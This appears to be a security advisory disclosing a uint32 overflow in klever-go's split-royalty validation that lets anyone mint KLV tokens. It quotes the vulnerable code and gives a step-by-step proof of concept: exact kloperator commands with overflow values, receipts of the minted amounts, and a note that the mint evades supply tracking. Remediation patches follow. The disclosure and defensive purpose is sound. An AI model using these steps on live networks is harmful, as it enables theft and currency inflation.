OSV 1.4.0 · github-reviewed · 修改于 2026-08-29 00:25
发布时间
2026-08-29 00:25
GitHub 审查时间
2026-08-29 00:25
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-cgc5-v3f2-8m2v/GHSA-cgc5-v3f2-8m2v.json
The per-entry percentages of a KDA asset's split royalties are validated by summing
them into a uint32 accumulator and checking the sum against HundredPercent (10000),
with no upper bound on each individual entry. Two split entries whose percentages sum to
just over 2^32 wrap around below 10000 and pass validation, while each stored value
remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).
At royalty payout, each split recipient is credited pool × hugePct / 10000 — far more than
the royalty pool — and the resulting negative remainder is silently discarded
(if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO
royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin
air, on demand, by transferring or selling their own throwaway asset.
This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.
klever-io/klever-go (node).core/process/kda/assetHelper.go, core/kapp/kda/create.go,
core/kapp/kda/trigger.go, core/kapp/builtInFunctions/utils.go.core/kapp/accounts/accounts.go (transfer), core/kapp/market/market.go
(marketplace buy), core/kapp/ito/ito.go (ITO buy).uint32 with no boundcore/kapp/builtInFunctions/utils.go — decodeSplitInfo (≈L292):
func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
fields := []*uint32{
&splitInfo.PercentTransferPercentage,
&splitInfo.PercentTransferFixed,
&splitInfo.PercentMarketPercentage,
&splitInfo.PercentMarketFixed,
&splitInfo.PercentITOPercentage,
&splitInfo.PercentITOFixed,
}
for _, field := range fields {
if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
return err
}
}
return nil
}
uint32 and only checks the sumcore/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):
sumSplitTransferPercentage := uint32(0) // L351 <-- uint32 accumulator
sumSplitTransferFixed := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
// ... no per-entry bound ...
sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
sumSplitTransferFixed += value.GetPercentTransferFixed()
// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}
core/process/kda/assetHelper.go (L101):
func CheckValid100Params(values ...uint32) bool {
for _, value := range values {
if value > core.HundredPercent { // HundredPercent = 10000
return false
}
}
return true
}
The per-entry > HundredPercent check that exists for TransferPercentage tiers
(create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.
0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to 0 in uint32 → CheckValid100Params(0) is true.
core/kapp/accounts/accounts.go — processFixedRoyaltiesTransfer (L316-382):
err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
// L343: split paid in KLV using the overflowed PercentTransferFixed
status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
// ...
}
if royaltiesFixedToPay <= 0 { // L349: negative remainder silently dropped (no error)
return transaction.Transaction_Ok, nil
}
computeSplitRoyalties (L276-314):
splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...) // L293: credit, no matching debit
tools/converters.go — ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000
fits in int64, so no overflow error fires — it simply returns the inflated amount.
Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited
TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.
The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the
sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and
core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the
top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.
A single-node local network is sufficient. Full environment setup is in the companion runbook
REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.
export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
--nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
--rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
> /tmp/klnode.log 2>&1 < /dev/null & disown
The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000.
Two entries make the uint32 sum wrap to 0.
R1=<any valid klv1 address> # clean recipient, will receive minted KLV
R2=<any valid klv1 address> # second recipient
/tmp/kloperator kda create 0 \
--name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
--royaltiesAddress=<owner> \
--royaltiesTransferFixed=1 \
--splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
--splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
-s --await
Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both
recipients (a correct chain would reject this).
/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await
Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800
(= 214,748.36 KLV) to R1 and R2 — for a TransferFixed royalty of 1000000 (1 KLV).
# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
"import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"
resultCode: Ok)tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract
(operator output, abridged):
{
"type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
"ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"initialSupply": 1000000000000,
"royalties": {
"address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"transferFixed": 1000000,
"splitRoyalties": {
"klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 },
"klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 }
}
}
}
Result: hash: 1e288135…, status: success, resultCode: Ok.
(2147483648 = 0x80000000; the two values' uint32 sum is 0 → passed CheckValid100Params.)
resultCode: Ok)tx 4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6, block 375,
status: success, resultCode: Ok. Receipts (operator output):
{"typeString": "SignedBy"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV", "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000, "assetId": "KPRT2-2712", "assetType": "Fungible"}
Outcome: the sender paid 1000000 (1 KLV) of fixed royalty; the two split recipients were
each credited 214748364800 (214,748.36 KLV) — 429,496.73 KLV minted from a 1 KLV royalty,
in a single transfer. R1 went from a non-existent/0-KLV account to 214,748.36 KLV while never
being sent any KLV. The minted amount is pool(=1000000) × 0x80000000 / 10000 = 214748364800 per
recipient.
A prior run reproduced the same on the transfer-percentage path, minting the asset itself
(42,949,672.96 tokens from one transfer); note that the asset's booked CirculatingSupply /
MintedValue do not change (the mint is via direct AddToBalance, not a tracked Mint), so
the inflation is invisible to supply dashboards and only detectable by summing balances.
MarketFixed
deposit) and ITO buy, and mints arbitrary assets via the transfer-percentage path.operator CLI used above is unprivileged: it signs a standard transaction
and POSTs to the public, unauthenticated /transaction/send endpoint
(network/api/transaction/routes.go, SendTX/BroadcastTX — no auth). The official SDKs or a
hand-signed curl produce identical results; nothing in the operator is required.Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate
them behind a new activation-epoch fork flag (same mechanism as the existing FixMarketBuyOverflow),
so historical blocks reprocess identically.
decodeSplitInfo
(core/kapp/builtInFunctions/utils.go):
for _, field := range fields {
if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }
if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW
}
uint64 (overflow-proof) in core/kapp/kda/create.go and
core/kapp/kda/trigger.go, and reject if any per-category sum > core.HundredPercent.
(With each entry ≤ 10000 and the existing MaxTransferRoyalties = 20 cap, the max sum is
200000 — but use uint64 regardless for defense in depth.)In every split-distribution site, replace the silent skip with a rejection:
// BEFORE
if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }
// AFTER
if royaltiesToPay < 0 { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }
if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }
Sites: core/kapp/accounts/accounts.go (L349 fixed, L436 percentage),
core/kapp/market/market.go (L456, L503), core/kapp/ito/ito.go (L429, L499).
After distributing a royalty pool, assert Σ splitToPay == pool (the owner gets the exact
remainder), so any future regression aborts the tx instead of minting.
A regression test should: (1) confirm an asset whose split percentages sum-overflow uint32 is
rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in)
cannot pay out more than the royalty pool.
AssetTrigger/UpdateRoyalties and let a normal account trigger the mint — atomically within one tx.ComputePercentageI64 float path (checkOverflow=false) makes the over-pay even
easier (no int64 overflow guard at all), but the big.Int path mints too for small pools.core/process/kda/assetHelper.go:101,
core/kapp/builtInFunctions/utils.go:292, core/kapp/kda/create.go:228-264,351-382,
core/kapp/kda/trigger.go, core/kapp/accounts/accounts.go:276-382,
core/kapp/market/market.go:443-538, core/kapp/ito/ito.go:415-556,
tools/converters.go:102.